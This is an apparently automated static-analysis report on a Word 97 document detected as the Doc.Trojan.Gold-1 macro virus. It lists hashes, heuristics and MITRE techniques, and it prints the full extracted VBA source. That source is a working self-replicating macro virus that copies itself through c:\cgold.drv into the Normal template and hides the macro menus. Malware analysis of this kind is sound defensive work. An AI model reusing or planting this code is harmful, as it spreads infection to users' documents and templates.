Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 704725d7784e59e3…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-07-01 16:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2454805d7f06ed4b4bdedcad4f0dbb98 SHA-1: 0927f4a427c9d51bafdf3b81fa8c592933767664 SHA-256: 704725d7784e59e3fb191185bfa31fe3b1e04d419e803e0be00696a112ebf3b6
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits high-confidence indicators of legacy WordBasic macro virus markers and VBA macros. The AutoOpen macro attempts to export its code to 'c:\cgold.drv' and then inject it into the Normal template, a common technique for establishing persistence or facilitating further malicious actions. The presence of AutoOpen and Auto_Close macros, along with legacy markers, strongly suggests malicious intent.

Heuristics 6

  • ClamAV: Doc.Trojan.Gold-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gold-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    host.CodeModule.deletelines 1, 4
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    If nt < 16 Then host.CodeModule.replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 923 bytes
SHA-256: f64227dd228503a91ccd9b8f97da2dd6bc0ca68d83a2de4b42af98b5d1dd4290
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If nt > 16 And ad > 0 Then End
If nt < 16 Then Set host = NormalTemplate.VBProject.VBComponents.Item(1)
If nt < 16 Then ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\cgold.drv"
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
host.CodeModule.AddFromFile ("c:\cgold.drv")
host.CodeModule.deletelines 1, 4
If nt < 16 Then host.CodeModule.replaceline 1, "Sub AutoClose()"
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub